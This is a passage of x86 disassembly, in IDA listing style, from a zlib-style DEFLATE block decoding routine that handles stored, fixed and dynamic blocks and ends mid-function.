var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 7Ch
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+4]
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+20h]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+34h]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		cmp	edx, [ecx+30h]
		jnb	short loc_42B0EB
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+30h]
		sub	ecx, [ebp+var_8]
		sub	ecx, 1
		mov	[ebp+var_54], ecx
		jmp	short loc_42B0F7
; ---------------------------------------------------------------------------


loc_42B0EB:				; CODE XREF: sub_42B09D+3Bj
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+2Ch]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_54], eax


loc_42B0F7:				; CODE XREF: sub_42B09D+4Cj
		mov	ecx, [ebp+var_54]
		mov	[ebp+var_18], ecx


loc_42B0FD:				; CODE XREF: sub_42B09D:loc_42C3C4j
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		mov	[ebp+var_58], eax
		cmp	[ebp+var_58], 9
		ja	loc_42C365
		mov	ecx, [ebp+var_58]
		jmp	off_42C3CD[ecx*4]


loc_42B119:				; CODE XREF: sub_42B09D+121j
					; DATA XREF: HLXc:off_42C3CDo
		cmp	[ebp+var_14], 3
		jnb	loc_42B1C3
		cmp	[ebp+var_1C], 0
		jz	short loc_42B132
		mov	[ebp+arg_8], 0
		jmp	short loc_42B18D
; ---------------------------------------------------------------------------


loc_42B132:				; CODE XREF: sub_42B09D+8Aj
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_C]
		mov	[edx+20h], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_14]
		mov	[ecx+1Ch], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_1C]
		mov	[eax+4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		sub	eax, [edx]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		add	edx, eax
		mov	eax, [ebp+arg_4]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		mov	[eax+34h], ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_429F50
		add	esp, 0Ch
		jmp	loc_42C3C9
; ---------------------------------------------------------------------------


loc_42B18D:				; CODE XREF: sub_42B09D+93j
		mov	edx, [ebp+var_1C]
		sub	edx, 1
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, ecx
		mov	ecx, [ebp+var_14]
		shl	edx, cl
		mov	eax, [ebp+var_C]
		or	eax, edx
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_14]
		add	edx, 8
		mov	[ebp+var_14], edx
		jmp	loc_42B119
; ---------------------------------------------------------------------------


loc_42B1C3:				; CODE XREF: sub_42B09D+80j
		mov	eax, [ebp+var_C]
		and	eax, 7
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		and	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+18h], ecx
		mov	eax, [ebp+var_10]
		shr	eax, 1
		mov	[ebp+var_5C], eax
		cmp	[ebp+var_5C], 3
		ja	loc_42B3A1
		mov	ecx, [ebp+var_5C]
		jmp	off_42C3F5[ecx*4]


loc_42B1F4:				; CODE XREF: sub_42B09D+75j
					; DATA XREF: HLXc:off_42C3F5o
		mov	edx, [ebp+var_C]
		shr	edx, 3
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_14]
		sub	eax, 3
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+var_14]
		and	ecx, 7
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_C]
		mov	ecx, [ebp+var_10]
		shr	edx, cl
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_14]
		sub	eax, [ebp+var_10]
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx], 1
		jmp	loc_42B3A1
; ---------------------------------------------------------------------------


loc_42B231:				; CODE XREF: sub_42B09D+75j
					; sub_42B09D+150j
					; DATA XREF: ...
		mov	edx, [ebp+arg_4]
		push	edx
		lea	eax, [ebp+var_2C]
		push	eax
		lea	ecx, [ebp+var_24]
		push	ecx
		lea	edx, [ebp+var_20]
		push	edx
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_42CF5B
		add	esp, 14h
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+var_2C]
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		mov	ecx, [ebp+var_20]
		push	ecx
		mov	edx, [ebp+var_28]
		push	edx
		call	sub_42A129
		add	esp, 14h
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+4], 0
		jnz	short loc_42B2DA
		mov	[ebp+arg_8], 0FFFFFFFCh
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_C]
		mov	[eax+20h], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_14]
		mov	[edx+1Ch], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_1C]
		mov	[ecx+4], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		sub	ecx, [eax]
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+8]
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		mov	[edx], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	[ecx+34h], edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_429F50
		add	esp, 0Ch
		jmp	loc_42C3C9
; ---------------------------------------------------------------------------


loc_42B2DA:				; CODE XREF: sub_42B09D+1D9j
		mov	eax, [ebp+var_C]
		shr	eax, 3
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_14]
		sub	ecx, 3
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx], 6
		jmp	loc_42B3A1
; ---------------------------------------------------------------------------


loc_42B2FA:				; CODE XREF: sub_42B09D+75j
					; sub_42B09D+150j
					; DATA XREF: ...
		mov	eax, [ebp+var_C]
		shr	eax, 3
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_14]
		sub	ecx, 3
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx], 3
		jmp	loc_42B3A1
; ---------------------------------------------------------------------------


loc_42B31A:				; CODE XREF: sub_42B09D+75j
					; sub_42B09D+150j
					; DATA XREF: ...
		mov	eax, [ebp+var_C]
		shr	eax, 3
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_14]
		sub	ecx, 3
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx], 9
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+18h], offset aInvalidBlockTy ; "invalid block type"
		mov	[ebp+arg_8], 0FFFFFFFDh
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_1C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_429F50
		add	esp, 0Ch
		jmp	loc_42C3C9
; ---------------------------------------------------------------------------


loc_42B3A1:				; CODE XREF: sub_42B09D+147j
					; sub_42B09D+18Fj ...
		jmp	loc_42C3C4
; ---------------------------------------------------------------------------


loc_42B3A6:				; CODE XREF: sub_42B09D+75j
					; sub_42B09D+3ACj
					; DATA XREF: ...
		cmp	[ebp+var_14], 20h
		jnb	loc_42B44E
		cmp	[ebp+var_1C], 0
		jz	short loc_42B3BF
		mov	[ebp+arg_8], 0
		jmp	short loc_42B41A
; ---------------------------------------------------------------------------


loc_42B3BF:				; CODE XREF: sub_42B09D+317j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_1C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_429F50
		add	esp, 0Ch
		jmp	loc_42C3C9
; ---------------------------------------------------------------------------


loc_42B41A:				; CODE XREF: sub_42B09D+320j
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+var_14]
		shl	eax, cl
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_14]
		add	eax, 8
		mov	[ebp+var_14], eax
		jmp	loc_42B3A6
; ---------------------------------------------------------------------------


loc_42B44E:				; CODE XREF: sub_42B09D+30Dj
		mov	ecx, [ebp+var_C]
		not	ecx
		shr	ecx, 10h
		and	ecx, 0FFFFh
		mov	edx, [ebp+var_C]
		and	edx, 0FFFFh
		cmp	ecx, edx
		jz	short loc_42B4DE
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax], 9
		mov	ecx, [ebp+arg_4]
		mov	dword ptr [ecx+18h], offset aInvalidStoredB ; "invalid stored block lengths"
		mov	[ebp+arg_8], 0FFFFFFFDh
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_C]
		mov	[edx+20h], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_14]
		mov	[ecx+1Ch], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_1C]
		mov	[eax+4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		sub	eax, [edx]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		add	edx, eax
		mov	eax, [ebp+arg_4]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		mov	[eax+34h], ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_429F50
		add	esp, 0Ch
		jmp	loc_42C3C9
; ---------------------------------------------------------------------------


loc_42B4DE:				; CODE XREF: sub_42B09D+3CAj
		mov	edx, [ebp+var_C]
		and	edx, 0FFFFh
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx
		mov	[ebp+var_14], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+4], 0
		jz	short loc_42B50C
		mov	[ebp+var_60], 2
		jmp	short loc_42B51C
; ---------------------------------------------------------------------------


loc_42B50C:				; CODE XREF: sub_42B09D+464j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+18h]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 7
		mov	[ebp+var_60], ecx


loc_42B51C:				; CODE XREF: sub_42B09D+46Dj
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_60]
		mov	[edx], eax
		jmp	loc_42C3C4
; ---------------------------------------------------------------------------


loc_42B529:				; CODE XREF: sub_42B09D+75j
					; DATA XREF: HLXc:0042C3D5o
		cmp	[ebp+var_1C], 0
		jnz	short loc_42B58A
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_1C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_429F50
		add	esp, 0Ch
		jmp	loc_42C3C9
; ---------------------------------------------------------------------------


loc_42B58A:				; CODE XREF: sub_42B09D+490j
		cmp	[ebp+var_18], 0
		jnz	loc_42B6F6
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		cmp	edx, [ecx+2Ch]
		jnz	short loc_42B5E4
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_0]
		mov	edx, [eax+30h]
		cmp	edx, [ecx+28h]
		jz	short loc_42B5E4
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+28h]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		cmp	eax, [edx+30h]
		jnb	short loc_42B5D2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+30h]
		sub	edx, [ebp+var_8]
		sub	edx, 1
		mov	[ebp+var_64], edx
		jmp	short loc_42B5DE
; ---------------------------------------------------------------------------


loc_42B5D2:				; CODE XREF: sub_42B09D+522j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+2Ch]
		sub	ecx, [ebp+var_8]
		mov	[ebp+var_64], ecx


loc_42B5DE:				; CODE XREF: sub_42B09D+533j
		mov	edx, [ebp+var_64]
		mov	[ebp+var_18], edx


loc_42B5E4:				; CODE XREF: sub_42B09D+500j
					; sub_42B09D+50Ej
		cmp	[ebp+var_18], 0
		jnz	loc_42B6F6
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		mov	[eax+34h], ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_429F50
		add	esp, 0Ch
		mov	[ebp+arg_8], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+34h]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		cmp	edx, [ecx+30h]
		jnb	short loc_42B633
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+30h]
		sub	ecx, [ebp+var_8]
		sub	ecx, 1
		mov	[ebp+var_68], ecx
		jmp	short loc_42B63F
; ---------------------------------------------------------------------------


loc_42B633:				; CODE XREF: sub_42B09D+583j
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+2Ch]
		sub	eax, [ebp+var_8]
		mov	[ebp+var_68], eax


loc_42B63F:				; CODE XREF: sub_42B09D+594j
		mov	ecx, [ebp+var_68]
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		cmp	eax, [edx+2Ch]
		jnz	short loc_42B695
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_0]
		mov	eax, [ecx+30h]
		cmp	eax, [edx+28h]
		jz	short loc_42B695
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+28h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		cmp	ecx, [eax+30h]
		jnb	short loc_42B683
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+30h]
		sub	eax, [ebp+var_8]
		sub	eax, 1
		mov	[ebp+var_6C], eax
		jmp	short loc_42B68F
; ---------------------------------------------------------------------------


loc_42B683:				; CODE XREF: sub_42B09D+5D3j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+2Ch]
		sub	edx, [ebp+var_8]
		mov	[ebp+var_6C], edx


loc_42B68F:				; CODE XREF: sub_42B09D+5E4j
		mov	eax, [ebp+var_6C]
		mov	[ebp+var_18], eax


loc_42B695:				; CODE XREF: sub_42B09D+5B1j
					; sub_42B09D+5BFj
		cmp	[ebp+var_18], 0
		jnz	short loc_42B6F6
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_1C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_429F50
		add	esp, 0Ch
		jmp	loc_42C3C9
; ---------------------------------------------------------------------------


loc_42B6F6:				; CODE XREF: sub_42B09D+4F1j
					; sub_42B09D+54Bj ...
		mov	[ebp+arg_8], 0
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_1C]
		jbe	short loc_42B714
		mov	ecx, [ebp+var_1C]
		mov	[ebp+var_10], ecx


loc_42B714:				; CODE XREF: sub_42B09D+66Fj
		mov	edx, [ebp+var_10]
		cmp	edx, [ebp+var_18]
		jbe	short loc_42B722
		mov	eax, [ebp+var_18]
		mov	[ebp+var_10], eax


loc_42B722:				; CODE XREF: sub_42B09D+67Dj
		mov	ecx, [ebp+var_10]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_431764	; memcpy
		add	esp, 0Ch
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_10]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_1C]
		sub	edx, [ebp+var_10]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_10]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_18]
		sub	ecx, [ebp+var_10]
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		sub	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+4], 0
		jz	short loc_42B777
		jmp	loc_42C3C4
; ---------------------------------------------------------------------------


loc_42B777:				; CODE XREF: sub_42B09D+6D3j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+18h]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 7
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		jmp	loc_42C3C4
; ---------------------------------------------------------------------------


loc_42B78E:				; CODE XREF: sub_42B09D+75j
					; sub_42B09D+794j
					; DATA XREF: ...
		cmp	[ebp+var_14], 0Eh
		jnb	loc_42B836
		cmp	[ebp+var_1C], 0
		jz	short loc_42B7A7
		mov	[ebp+arg_8], 0
		jmp	short loc_42B802
; ---------------------------------------------------------------------------


loc_42B7A7:				; CODE XREF: sub_42B09D+6FFj
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_C]
		mov	[eax+20h], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_14]
		mov	[edx+1Ch], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_1C]
		mov	[ecx+4], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		sub	ecx, [eax]
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+8]
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		mov	[edx], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	[ecx+34h], edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_429F50
		add	esp, 0Ch
		jmp	loc_42C3C9
; ---------------------------------------------------------------------------


loc_42B802:				; CODE XREF: sub_42B09D+708j
		mov	eax, [ebp+var_1C]
		sub	eax, 1
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		mov	ecx, [ebp+var_14]
		shl	edx, cl
		mov	eax, [ebp+var_C]
		or	eax, edx
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_14]
		add	edx, 8
		mov	[ebp+var_14], edx
		jmp	loc_42B78E
; ---------------------------------------------------------------------------


loc_42B836:				; CODE XREF: sub_42B09D+6F5j
		mov	eax, [ebp+var_C]
		and	eax, 3FFFh
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_10]
		mov	[ecx+4], edx
		mov	eax, [ebp+var_10]
		and	eax, 1Fh
		cmp	eax, 1Dh
		ja	short loc_42B863
		mov	ecx, [ebp+var_10]
		shr	ecx, 5
		and	ecx, 1Fh
		cmp	ecx, 1Dh
		jbe	short loc_42B8D8


loc_42B863:				; CODE XREF: sub_42B09D+7B6j
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx], 9
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+18h], offset aTooManyLengthO ; "too many	length or distance symbols"
		mov	[ebp+arg_8], 0FFFFFFFDh
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_1C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_429F50
		add	esp, 0Ch
		jmp	loc_42C3C9
; ---------------------------------------------------------------------------


loc_42B8D8:				; CODE XREF: sub_42B09D+7C4j
		mov	ecx, [ebp+var_10]
		and	ecx, 1Fh
		mov	edx, [ebp+var_10]
		shr	edx, 5
		and	edx, 1Fh
		lea	eax, [ecx+edx+102h]
		mov	[ebp+var_10], eax
		push	4
		mov	ecx, [ebp+var_10]
		push	ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+28h]
		push	eax
		mov	ecx, [ebp+arg_4]
		call	dword ptr [ecx+20h]
		add	esp, 0Ch
		mov	edx, [ebp+arg_0]
		mov	[edx+0Ch], eax
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_42B978
		mov	[ebp+arg_8], 0FFFFFFFCh
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_C]
		mov	[ecx+20h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		mov	[eax+1Ch], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_1C]
		mov	[edx+4], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		sub	edx, [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		add	ecx, edx
		mov	edx, [ebp+arg_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+34h], eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_429F50
		add	esp, 0Ch
		jmp	loc_42C3C9
; ---------------------------------------------------------------------------


loc_42B978:				; CODE XREF: sub_42B09D+877j
		mov	ecx, [ebp+var_C]
		shr	ecx, 0Eh
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_14]
		sub	edx, 0Eh
		mov	[ebp+var_14], edx
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+8], 0
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx], 4


loc_42B99D:				; CODE XREF: sub_42B09D+75j
					; sub_42B09D+9FFj
					; DATA XREF: ...
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		shr	eax, 0Ah
		add	eax, 4
		mov	ecx, [ebp+arg_0]
		cmp	[ecx+8], eax
		jnb	loc_42BAA1


loc_42B9B5:				; CODE XREF: sub_42B09D+9BDj
		cmp	[ebp+var_14], 3
		jnb	loc_42BA5F
		cmp	[ebp+var_1C], 0
		jz	short loc_42B9CE
		mov	[ebp+arg_8], 0
		jmp	short loc_42BA29
; ---------------------------------------------------------------------------


loc_42B9CE:				; CODE XREF: sub_42B09D+926j
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_C]
		mov	[edx+20h], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_14]
		mov	[ecx+1Ch], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_1C]
		mov	[eax+4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		sub	eax, [edx]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		add	edx, eax
		mov	eax, [ebp+arg_4]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		mov	[eax+34h], ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_429F50
		add	esp, 0Ch
		jmp	loc_42C3C9
; ---------------------------------------------------------------------------


loc_42BA29:				; CODE XREF: sub_42B09D+92Fj
		mov	edx, [ebp+var_1C]
		sub	edx, 1
		mov	[ebp+var_1C], edx
